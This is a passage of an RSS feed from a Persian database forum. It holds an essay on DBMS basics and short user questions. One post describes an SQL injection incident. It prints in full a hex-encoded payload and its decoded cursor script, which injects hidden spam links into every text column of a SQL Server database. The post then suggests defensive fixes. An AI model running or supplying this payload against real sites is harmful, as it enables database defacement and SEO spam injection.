<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[ايران ويج - انواع پایگاه داده ها]]></title>
		<link>https://www.iranled.com/forum/</link>
		<description><![CDATA[ايران ويج - https://www.iranled.com/forum]]></description>
		<pubDate>Wed, 21 Oct 2026 09:58:27 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[مفاهیم پایه ای پایگاه داده]]></title>
			<link>https://www.iranled.com/forum/thread-30600.html</link>
			<pubDate>Mon, 02 May 2016 09:27:23 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-30600.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">مفاهيم مبنايي : </span><br />
<span style="font-weight: bold;" class="mycode_b">مفهوم پايگاه داده ها :</span> پايگاه داده ها در ساده ترين وجه به مثابه مخزني ميماند که اطلاعات و داده ها به صورت منسجم و احتمالا ساخت يافته در آن نگهداري ميشود . اين مخزن ميتواند يک فايل متني يا باينري ساده باشد .<br />
همزمان با پيدايش تکنولوژي ذخيره سازي اطلاعات و فايلها ، پايگاه داده ها نيز متولد شد و همزمان با رشد تکنولوژي ذخيره و بازيابي اطلاعات  و سيستم فايلينگ  ، پايگاه داده ها نيز به صورت موازي و با آن رشد کرد . پايگاه داده ها از زمان تولد تا کنون پنج نسل را سپري کرده است .<br />
همزمان با گسترش نياز کاربران براي ذخيره سازي و بازيابي اطلاعات برنامه نويسان متعددي اقدام به ايجاد برنامه هايي  با اهداف و کاربردهاي متفاوت کردند . صرف نظر از برنامه هايي که از نظر کاربرد کاملا متفاوت بودند برنامه هايي نيز وجود داشتند که ماهيت و کاربرد يکساني داشتند ولي توسط برنامه نويسان متعدد ايجاد شده بودند . بهترين مثال براي اين مطلب دفـتـــرچـــه تلـفــن  ميباشد . چندين و چند نسخه متفاوت دفترچه تلفن موجود بود که همه آنها امکانات کاملا مشابهي داشتند ولي الگوريتمها و روشهاي برنامه نويسي آنها کاملا متفاوت بود . مهمترين وعمده ترين تفاوتهاي که بين اين برنامه ها وجود داشت در زير ذکر شده اند : <ul class="mycode_list"><li>• نوع و ماهيت فايلي که اطلاعات در آن ذخيره ميشد ( بعضيهااز نوع باينري و بعضي TXT و... بودند ) <br />
</li>
<li>• الگوريتم و روش ذخيره سازي داده ها در فايل <br />
</li>
<li>• نام توابع ( فرضا تابع مربوط به جستجو  در هر برنامه نامي  مطابق با سليقه برنامه نويس داشت ) <br />
</li>
</ul>
تمام اين برنامه ها در واقع نوعي بانک اطلاعاتي هستند که براي اهداف خاص ايجاد شده اند . لذا به منابع داده در هر برنامه به جز در همان برنامه در جاي ديگري کاربرد نداشت و به هيچ درد ديگري نميخورد حتي برنامه هايي که مشابه بودند ( مانند دفترچه تلفن ) نيز ( بنا به دلايل ذکر شده ) نميتوانستند با هم تبادل اطلاعات داشته باشند و اگر ميخواستيم از فايل حاوي داده هاي يک دفترچه تلفن در دفترچه تلفن ديگري استفاده کنيم هيچ راهي وجود نداشت . در ضمن در تمام اين برنامه ها به جز فايل و برنامه نوشته شده توسط برنامه نويس هيچ چيز ديگري وجود نداشت که بتواند امنيت داده ها را تضمين کند . و به طور کلي داده ها را کنترل و مديريت کند . مشکل ديگري که اين برنامه ها داشتند اين بود که اين برنامه ها تنها قابليت اين را داشتند که يک کاربر از آنها استفاده کند و استفاده به صورت اشتراکي از منابع داده ها امکان پذير نبود . با گسترش روز افزون اطلاعات و نياز روز افزون کاربران براي ذخيره و بازيابي اطلاعات و دسترسي سريع به اطلاعات و لزوم تامين امنيت اطلاعات ،  لازم بود برنامه هاي تخصصي و ويژه اي براي اين منظور ايجاد شوند .  لذا چندين شرکت تصميم به طراحي و توليد چنين برنامه هايي را گرفتند که از شرکتهاي IBM  و  Microsoft  و چند شرکت ديگر به عنوان پيشگامان اين امر ميتوان نام برد .<br />
 برنامه هاي مذکور پايگاه داده ها نام گرفتند . شرکتهاي مذکور بايد  برنامه هايي را ايجاد ميکردند که قابليت استفاده براي مصارف گوناگون را داشته باشد . در ضمن اين برنامه ها بايد داراي قسمتي باشند که به عنوان واسط بين برنامه کاربردي و فايلها (منابع داده ) قرار بگيرد و عملياتهاي مربوط به ايجاد ، حذف و تغيير و ... را  در منابع داده را کنترل و مديريت کند . اين برنامه واسط را DBMS  ناميدند . <br />
<div style="text-align: center;" class="mycode_align"><a href="http://www.a00b.com/%D8%A7%D9%86%D8%AC%D8%A7%D9%85_%D9%BE%D8%B1%D9%88%DA%98%D9%87_SQL_Server.htm" target="_blank" rel="noopener" class="mycode_url"><img src="http://itknowledgeexchange.techtarget.com/overheard/files/2015/01/DBMS-database-management-system.png" alt="[تصویر:  DBMS-database-management-system.png]" class="mycode_img" /></a></div>
<span style="font-weight: bold;" class="mycode_b">DBMS</span>  اختصار (DATABASE  MANAGEMENT  SYSTEM )  ميباشد که معناي لغوي آن سيستم مديريت پايگاه داده يا سيستم مديريت داده ها ميباشد . <br />
بايد خدمتتون عرض کنم که بزرگترين جهشي که پايگاه داده ها در راستاي رشد و تکامل داشت مربوط به همين قسمت يعني توليد و تکامل  DBMS  ميباشد . گفتيم که وظيفه DBMS  اين است که بين برنامه کاربردي و منابع داده ها قرار بگيرد و کليه عملياتهاي مربوط به( ايجاد ، تغيير ، حذف و .... ) منابع داده ها را کنترل و مديريت کند . کنترل و مديريت منابع داده ها بسيار کلي و ميباشد و اگر بخواهيم منظور از کنترل و مديريت را کامل شرح دهيم بايد ساعتها وقت صرف کنيم و دهها  صفحه مطلب بنويسيم که قطعا در اين مجموعه نخواهد گنجيد ضمن آنکه اين مطالب کاربردي نيط نيستند و تنها جنبه اطلاعاتي دارند  لذا تنها چند نکته مهم را ذکر ميکنم و در صورتي که علاقمند بوديد بيشتر بدانيد ميتوانيد به کتابهاي موجود در اين زمينه مراجعه فرماييد .<br />
<br />
<span style="font-weight: bold;" class="mycode_b">منظور از کنترل و مديريت : </span><ul class="mycode_list"><li>• مصون کردن برنامه هاي کاربردي در قبال تغييرات در سخت افزار ذخيره سازي . <br />
</li>
<li>• مديريت رکوردهاي سرريز که پس از لود اوليه بايد در فايل وارد شوند . <br />
</li>
<li>• ايجاد فايل با ساختارهاي گوناگون <br />
</li>
<li>• فراهم کردن امکاناتي براي دستيابي مستقيم و ترتيبي به رکوردها و فيلدها  <br />
</li>
<li>• جدا کردن ساختار فيزيکي و منطقي فايلها از يکديگر <br />
</li>
<li>• تامين ايمني و حفاظت داده ها  <br />
</li>
<li>• جلوگيري از تکرار ذخيره سازي داده ها ( تاحدي ) <br />
</li>
<li>• فراهم کردن امکاناتي براي پردازش بلادرنگ (real time ) بسته به نوع سيستم عامل <br />
</li>
<li>• تامين صحت داده هاي ذخيره شده ( تاحدي ) <br />
</li>
<li>• فراهم کردن امکاناتي براي بازيابي بکمک چند کليد <br />
</li>
<li>• فراهم کردن امکاناتي براي استفاده چند کاربر به صورت همزمان از منبع داده و کنترل آن <br />
</li>
<li>• کنترل و مديريت مسائل مربوط به همزماني و سطح دسترسي کاربران به منبع داده ها <br />
</li>
<li>• و ..... <br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://www.iranled.com/forum/images/attachtypes/image.gif" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="https://www.iranled.com/forum/attachment.php?aid=13695" target="_blank">DBMS-database-management-system.png</a> (اندازه:  19.99 KB / تعداد دفعات دریافت:  101)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">مفاهيم مبنايي : </span><br />
<span style="font-weight: bold;" class="mycode_b">مفهوم پايگاه داده ها :</span> پايگاه داده ها در ساده ترين وجه به مثابه مخزني ميماند که اطلاعات و داده ها به صورت منسجم و احتمالا ساخت يافته در آن نگهداري ميشود . اين مخزن ميتواند يک فايل متني يا باينري ساده باشد .<br />
همزمان با پيدايش تکنولوژي ذخيره سازي اطلاعات و فايلها ، پايگاه داده ها نيز متولد شد و همزمان با رشد تکنولوژي ذخيره و بازيابي اطلاعات  و سيستم فايلينگ  ، پايگاه داده ها نيز به صورت موازي و با آن رشد کرد . پايگاه داده ها از زمان تولد تا کنون پنج نسل را سپري کرده است .<br />
همزمان با گسترش نياز کاربران براي ذخيره سازي و بازيابي اطلاعات برنامه نويسان متعددي اقدام به ايجاد برنامه هايي  با اهداف و کاربردهاي متفاوت کردند . صرف نظر از برنامه هايي که از نظر کاربرد کاملا متفاوت بودند برنامه هايي نيز وجود داشتند که ماهيت و کاربرد يکساني داشتند ولي توسط برنامه نويسان متعدد ايجاد شده بودند . بهترين مثال براي اين مطلب دفـتـــرچـــه تلـفــن  ميباشد . چندين و چند نسخه متفاوت دفترچه تلفن موجود بود که همه آنها امکانات کاملا مشابهي داشتند ولي الگوريتمها و روشهاي برنامه نويسي آنها کاملا متفاوت بود . مهمترين وعمده ترين تفاوتهاي که بين اين برنامه ها وجود داشت در زير ذکر شده اند : <ul class="mycode_list"><li>• نوع و ماهيت فايلي که اطلاعات در آن ذخيره ميشد ( بعضيهااز نوع باينري و بعضي TXT و... بودند ) <br />
</li>
<li>• الگوريتم و روش ذخيره سازي داده ها در فايل <br />
</li>
<li>• نام توابع ( فرضا تابع مربوط به جستجو  در هر برنامه نامي  مطابق با سليقه برنامه نويس داشت ) <br />
</li>
</ul>
تمام اين برنامه ها در واقع نوعي بانک اطلاعاتي هستند که براي اهداف خاص ايجاد شده اند . لذا به منابع داده در هر برنامه به جز در همان برنامه در جاي ديگري کاربرد نداشت و به هيچ درد ديگري نميخورد حتي برنامه هايي که مشابه بودند ( مانند دفترچه تلفن ) نيز ( بنا به دلايل ذکر شده ) نميتوانستند با هم تبادل اطلاعات داشته باشند و اگر ميخواستيم از فايل حاوي داده هاي يک دفترچه تلفن در دفترچه تلفن ديگري استفاده کنيم هيچ راهي وجود نداشت . در ضمن در تمام اين برنامه ها به جز فايل و برنامه نوشته شده توسط برنامه نويس هيچ چيز ديگري وجود نداشت که بتواند امنيت داده ها را تضمين کند . و به طور کلي داده ها را کنترل و مديريت کند . مشکل ديگري که اين برنامه ها داشتند اين بود که اين برنامه ها تنها قابليت اين را داشتند که يک کاربر از آنها استفاده کند و استفاده به صورت اشتراکي از منابع داده ها امکان پذير نبود . با گسترش روز افزون اطلاعات و نياز روز افزون کاربران براي ذخيره و بازيابي اطلاعات و دسترسي سريع به اطلاعات و لزوم تامين امنيت اطلاعات ،  لازم بود برنامه هاي تخصصي و ويژه اي براي اين منظور ايجاد شوند .  لذا چندين شرکت تصميم به طراحي و توليد چنين برنامه هايي را گرفتند که از شرکتهاي IBM  و  Microsoft  و چند شرکت ديگر به عنوان پيشگامان اين امر ميتوان نام برد .<br />
 برنامه هاي مذکور پايگاه داده ها نام گرفتند . شرکتهاي مذکور بايد  برنامه هايي را ايجاد ميکردند که قابليت استفاده براي مصارف گوناگون را داشته باشد . در ضمن اين برنامه ها بايد داراي قسمتي باشند که به عنوان واسط بين برنامه کاربردي و فايلها (منابع داده ) قرار بگيرد و عملياتهاي مربوط به ايجاد ، حذف و تغيير و ... را  در منابع داده را کنترل و مديريت کند . اين برنامه واسط را DBMS  ناميدند . <br />
<div style="text-align: center;" class="mycode_align"><a href="http://www.a00b.com/%D8%A7%D9%86%D8%AC%D8%A7%D9%85_%D9%BE%D8%B1%D9%88%DA%98%D9%87_SQL_Server.htm" target="_blank" rel="noopener" class="mycode_url"><img src="http://itknowledgeexchange.techtarget.com/overheard/files/2015/01/DBMS-database-management-system.png" alt="[تصویر:  DBMS-database-management-system.png]" class="mycode_img" /></a></div>
<span style="font-weight: bold;" class="mycode_b">DBMS</span>  اختصار (DATABASE  MANAGEMENT  SYSTEM )  ميباشد که معناي لغوي آن سيستم مديريت پايگاه داده يا سيستم مديريت داده ها ميباشد . <br />
بايد خدمتتون عرض کنم که بزرگترين جهشي که پايگاه داده ها در راستاي رشد و تکامل داشت مربوط به همين قسمت يعني توليد و تکامل  DBMS  ميباشد . گفتيم که وظيفه DBMS  اين است که بين برنامه کاربردي و منابع داده ها قرار بگيرد و کليه عملياتهاي مربوط به( ايجاد ، تغيير ، حذف و .... ) منابع داده ها را کنترل و مديريت کند . کنترل و مديريت منابع داده ها بسيار کلي و ميباشد و اگر بخواهيم منظور از کنترل و مديريت را کامل شرح دهيم بايد ساعتها وقت صرف کنيم و دهها  صفحه مطلب بنويسيم که قطعا در اين مجموعه نخواهد گنجيد ضمن آنکه اين مطالب کاربردي نيط نيستند و تنها جنبه اطلاعاتي دارند  لذا تنها چند نکته مهم را ذکر ميکنم و در صورتي که علاقمند بوديد بيشتر بدانيد ميتوانيد به کتابهاي موجود در اين زمينه مراجعه فرماييد .<br />
<br />
<span style="font-weight: bold;" class="mycode_b">منظور از کنترل و مديريت : </span><ul class="mycode_list"><li>• مصون کردن برنامه هاي کاربردي در قبال تغييرات در سخت افزار ذخيره سازي . <br />
</li>
<li>• مديريت رکوردهاي سرريز که پس از لود اوليه بايد در فايل وارد شوند . <br />
</li>
<li>• ايجاد فايل با ساختارهاي گوناگون <br />
</li>
<li>• فراهم کردن امکاناتي براي دستيابي مستقيم و ترتيبي به رکوردها و فيلدها  <br />
</li>
<li>• جدا کردن ساختار فيزيکي و منطقي فايلها از يکديگر <br />
</li>
<li>• تامين ايمني و حفاظت داده ها  <br />
</li>
<li>• جلوگيري از تکرار ذخيره سازي داده ها ( تاحدي ) <br />
</li>
<li>• فراهم کردن امکاناتي براي پردازش بلادرنگ (real time ) بسته به نوع سيستم عامل <br />
</li>
<li>• تامين صحت داده هاي ذخيره شده ( تاحدي ) <br />
</li>
<li>• فراهم کردن امکاناتي براي بازيابي بکمک چند کليد <br />
</li>
<li>• فراهم کردن امکاناتي براي استفاده چند کاربر به صورت همزمان از منبع داده و کنترل آن <br />
</li>
<li>• کنترل و مديريت مسائل مربوط به همزماني و سطح دسترسي کاربران به منبع داده ها <br />
</li>
<li>• و ..... <br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://www.iranled.com/forum/images/attachtypes/image.gif" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="https://www.iranled.com/forum/attachment.php?aid=13695" target="_blank">DBMS-database-management-system.png</a> (اندازه:  19.99 KB / تعداد دفعات دریافت:  101)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Sql Server 2014]]></title>
			<link>https://www.iranled.com/forum/thread-30589.html</link>
			<pubDate>Thu, 28 Apr 2016 06:30:02 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-30589.html</guid>
			<description><![CDATA[سلام من یک سوال داشتم<br />
چجوری میشه این سرور یا دیتا بیسی که داریم رو بریزیم روی هاست یا اینترنت منظورم اینه که از Local DB به global DB تغییرش بدم<br />
تا همه بتونن بهش وصل بشن <img src="https://www.iranled.com/forum/images/smilies/pack1/017.gif" alt="017" title="017" class="smilie smilie_39" /> <img src="https://www.iranled.com/forum/images/smilies/pack1/017.gif" alt="017" title="017" class="smilie smilie_39" /> <img src="https://www.iranled.com/forum/images/smilies/pack1/2044.gif" alt="044" title="044" class="smilie smilie_34" /> <img src="https://www.iranled.com/forum/images/smilies/pack1/2044.gif" alt="044" title="044" class="smilie smilie_34" /> <img src="https://www.iranled.com/forum/images/smilies/pack1/2044.gif" alt="044" title="044" class="smilie smilie_34" />]]></description>
			<content:encoded><![CDATA[سلام من یک سوال داشتم<br />
چجوری میشه این سرور یا دیتا بیسی که داریم رو بریزیم روی هاست یا اینترنت منظورم اینه که از Local DB به global DB تغییرش بدم<br />
تا همه بتونن بهش وصل بشن <img src="https://www.iranled.com/forum/images/smilies/pack1/017.gif" alt="017" title="017" class="smilie smilie_39" /> <img src="https://www.iranled.com/forum/images/smilies/pack1/017.gif" alt="017" title="017" class="smilie smilie_39" /> <img src="https://www.iranled.com/forum/images/smilies/pack1/2044.gif" alt="044" title="044" class="smilie smilie_34" /> <img src="https://www.iranled.com/forum/images/smilies/pack1/2044.gif" alt="044" title="044" class="smilie smilie_34" /> <img src="https://www.iranled.com/forum/images/smilies/pack1/2044.gif" alt="044" title="044" class="smilie smilie_34" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[SQLite]]></title>
			<link>https://www.iranled.com/forum/thread-30184.html</link>
			<pubDate>Wed, 22 Jul 2015 07:15:19 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-30184.html</guid>
			<description><![CDATA[سلام<br />
چطور میتونم روی دیتابیس SQLite پسورد قرار بدم؟]]></description>
			<content:encoded><![CDATA[سلام<br />
چطور میتونم روی دیتابیس SQLite پسورد قرار بدم؟]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[جدول پرببینده ها]]></title>
			<link>https://www.iranled.com/forum/thread-29966.html</link>
			<pubDate>Sat, 09 May 2015 13:58:08 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-29966.html</guid>
			<description><![CDATA[سلام دوستان .من میخواستم به دیتابیس ام یه فسمت پرببینده ها اضافه کنم.باید از طریق پروسیجر و تعریف کردن یه کانتر برم اما دقیق نمیدونم ممنون میشم راهنماییم کنید...]]></description>
			<content:encoded><![CDATA[سلام دوستان .من میخواستم به دیتابیس ام یه فسمت پرببینده ها اضافه کنم.باید از طریق پروسیجر و تعریف کردن یه کانتر برم اما دقیق نمیدونم ممنون میشم راهنماییم کنید...]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[ماژول L70]]></title>
			<link>https://www.iranled.com/forum/thread-29899.html</link>
			<pubDate>Mon, 20 Apr 2015 15:51:56 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-29899.html</guid>
			<description><![CDATA[سلام دوستان میخواستم اطلاعی راجبه مازول L70 داشته باشم. ممنون میشم کمک کنید.]]></description>
			<content:encoded><![CDATA[سلام دوستان میخواستم اطلاعی راجبه مازول L70 داشته باشم. ممنون میشم کمک کنید.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[تجربه جلوگیری از SQL Injection]]></title>
			<link>https://www.iranled.com/forum/thread-29503.html</link>
			<pubDate>Sun, 11 Jan 2015 18:44:04 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-29503.html</guid>
			<description><![CDATA[سلام<br />
<br />
چند روز پیش با یکی از دوستام در مورد جلوگیری از تغییرات ناگهانی توی دیتابیسش (اس کیو ال سرور) حرف میزدم که خلاصش این هست :<br />
<br />
تغییرات به اینشکل بودن که به بعضی از فیلد ها یک متن ثابت اضافه میشد و این اتفاق به صورت نامنظم تکرار میشد .<br />
<br />
بنا به محدودیت های هاستینگ(نرم افزارش تحت وب بود) امکان ایجاد یوزر فقط خواندنی وجود نداشت .<br />
<br />
مشکل نرم افزار اینجا بود که همه دستورات به صورت متن (HardString)به سرور ارسال میشد و از استورد پروسیجر هم استفاده نکرده بود .<br />
<br />
با این همه که تمام دستورات قبل از اجرا از لحاظ وجود کلمات خاص بررسی میشد بازهم تغییرات اتفاق افتاده بودن .<br />
<br />
یک کدی نوشتم که در لایه دیتابیس نرم افزار تمام دستورات قبل از ارسال به سرور ،لاگ بشن و چیزی که دیدم برام جالب بود .<br />
کدی که قرار بود اجرا بشه این بود :<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>update tbl_news set tb_numofvisit="1" where tb_id_news=611</code></div></div><br />
ولی ادامش یه چیز دیگه هم بود این :<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>update tbl_news set tb_numofvisit="1" where tb_id_news=611 declare @s varchar(8000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e6163746e7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834373870782c6175746f2c6175746f2c3339357078293b7d3c2f7374796c653e3c64697620636c6173733d6163746e3e4974207365656d73207468617420686173203c6120687265663d687474703a2f2f7061796461796c6f616e73666f726c697665792e636f6d203e717569636b206c6f616e733c2f613e20706f73736962696c6974696573206f6620636f6e647563742e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)</code></div></div>که وقتی تبدیل میشه به متن میشه این :<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH&gt;80 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''&lt;/title&gt;&lt;style&gt;.actn{position:absolute;clip:rect(478px,auto,auto,395px);}&lt;/style&gt;&lt;div class=actn&gt;It seems that has &lt;a href=h*t*t*p*:*/*/*p*a*y*d*a*y*l*o*a*n*s*f*o*r*l*i*v*e*y*.*c*o*m* &gt;quick loans&lt;/a&gt; possibilities of conduct.&lt;/div&gt;'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor</code></div></div>نکته : * هارو خودم اضافه کردم<br />
کل دستور رو بصورت  کد هگز ارسال میکنه و با یه تبدیل ساده اجراش میکنه .<br />
چون سیستم نسبتا بزرگ هست و امکان تغییر کلی نبود پیشنهاد من بهش تغییر لیست کلمات کلیدی نا امن بود - یعنی قبل از اجرای دستور(در لایه دیتابیس) وجود کلمه exec و declare هم بررسی بشه  تا فعلا نفوذی انجام نشه تا سر فرصت تغییرات نرم افزار رو بتونه انجام بده .<br />
<br />
پیشنهاد هایی که من داشتم  : <br />
بهتره تا حد امکان از اجرای مستقیم رشته متنی استفاده نکنیم .<br />
از تکنولوژی های جدید استفاده کنیم مثل لینک LINQ<br />
در مواقعی که کاربر قراره یه مقداری به برنامه ارسال کنه محدودیت های زیادی روش اعمال کنیم مثلا  اگه  قراره آی دی یه مطلب ارسال بشه باید اون متغییر به عدد تبدیل بشه یا  وقتی قراره کد ملی ارسال بشه  باید حداکثر 10 کاراکتر اول رو انتخاب کنیم نه کل محتوی رو .<br />
<br />
<br />
دوستانی هم که در این زمینه تجربه یا تخصص دارن بحث رو تکمیل کنن.]]></description>
			<content:encoded><![CDATA[سلام<br />
<br />
چند روز پیش با یکی از دوستام در مورد جلوگیری از تغییرات ناگهانی توی دیتابیسش (اس کیو ال سرور) حرف میزدم که خلاصش این هست :<br />
<br />
تغییرات به اینشکل بودن که به بعضی از فیلد ها یک متن ثابت اضافه میشد و این اتفاق به صورت نامنظم تکرار میشد .<br />
<br />
بنا به محدودیت های هاستینگ(نرم افزارش تحت وب بود) امکان ایجاد یوزر فقط خواندنی وجود نداشت .<br />
<br />
مشکل نرم افزار اینجا بود که همه دستورات به صورت متن (HardString)به سرور ارسال میشد و از استورد پروسیجر هم استفاده نکرده بود .<br />
<br />
با این همه که تمام دستورات قبل از اجرا از لحاظ وجود کلمات خاص بررسی میشد بازهم تغییرات اتفاق افتاده بودن .<br />
<br />
یک کدی نوشتم که در لایه دیتابیس نرم افزار تمام دستورات قبل از ارسال به سرور ،لاگ بشن و چیزی که دیدم برام جالب بود .<br />
کدی که قرار بود اجرا بشه این بود :<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>update tbl_news set tb_numofvisit="1" where tb_id_news=611</code></div></div><br />
ولی ادامش یه چیز دیگه هم بود این :<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>update tbl_news set tb_numofvisit="1" where tb_id_news=611 declare @s varchar(8000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e6163746e7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834373870782c6175746f2c6175746f2c3339357078293b7d3c2f7374796c653e3c64697620636c6173733d6163746e3e4974207365656d73207468617420686173203c6120687265663d687474703a2f2f7061796461796c6f616e73666f726c697665792e636f6d203e717569636b206c6f616e733c2f613e20706f73736962696c6974696573206f6620636f6e647563742e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)</code></div></div>که وقتی تبدیل میشه به متن میشه این :<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH&gt;80 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''&lt;/title&gt;&lt;style&gt;.actn{position:absolute;clip:rect(478px,auto,auto,395px);}&lt;/style&gt;&lt;div class=actn&gt;It seems that has &lt;a href=h*t*t*p*:*/*/*p*a*y*d*a*y*l*o*a*n*s*f*o*r*l*i*v*e*y*.*c*o*m* &gt;quick loans&lt;/a&gt; possibilities of conduct.&lt;/div&gt;'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor</code></div></div>نکته : * هارو خودم اضافه کردم<br />
کل دستور رو بصورت  کد هگز ارسال میکنه و با یه تبدیل ساده اجراش میکنه .<br />
چون سیستم نسبتا بزرگ هست و امکان تغییر کلی نبود پیشنهاد من بهش تغییر لیست کلمات کلیدی نا امن بود - یعنی قبل از اجرای دستور(در لایه دیتابیس) وجود کلمه exec و declare هم بررسی بشه  تا فعلا نفوذی انجام نشه تا سر فرصت تغییرات نرم افزار رو بتونه انجام بده .<br />
<br />
پیشنهاد هایی که من داشتم  : <br />
بهتره تا حد امکان از اجرای مستقیم رشته متنی استفاده نکنیم .<br />
از تکنولوژی های جدید استفاده کنیم مثل لینک LINQ<br />
در مواقعی که کاربر قراره یه مقداری به برنامه ارسال کنه محدودیت های زیادی روش اعمال کنیم مثلا  اگه  قراره آی دی یه مطلب ارسال بشه باید اون متغییر به عدد تبدیل بشه یا  وقتی قراره کد ملی ارسال بشه  باید حداکثر 10 کاراکتر اول رو انتخاب کنیم نه کل محتوی رو .<br />
<br />
<br />
دوستانی هم که در این زمینه تجربه یا تخصص دارن بحث رو تکمیل کنن.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[سوال در مورد برنامه اکسس]]></title>
			<link>https://www.iranled.com/forum/thread-29373.html</link>
			<pubDate>Wed, 17 Dec 2014 02:13:26 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-29373.html</guid>
			<description><![CDATA[سلام در مورد سوالات زیر مربوط به برنامه اکسس راهنمایی بفرمایید.سپاسگزارم<br />
1. روش اضافه کردن عکس پرسنلی از طریق add یا berrows <br />
2. روش ساخت تب های پرینت ، ذخیره ، بازگشت و بعدی در پروژه <br />
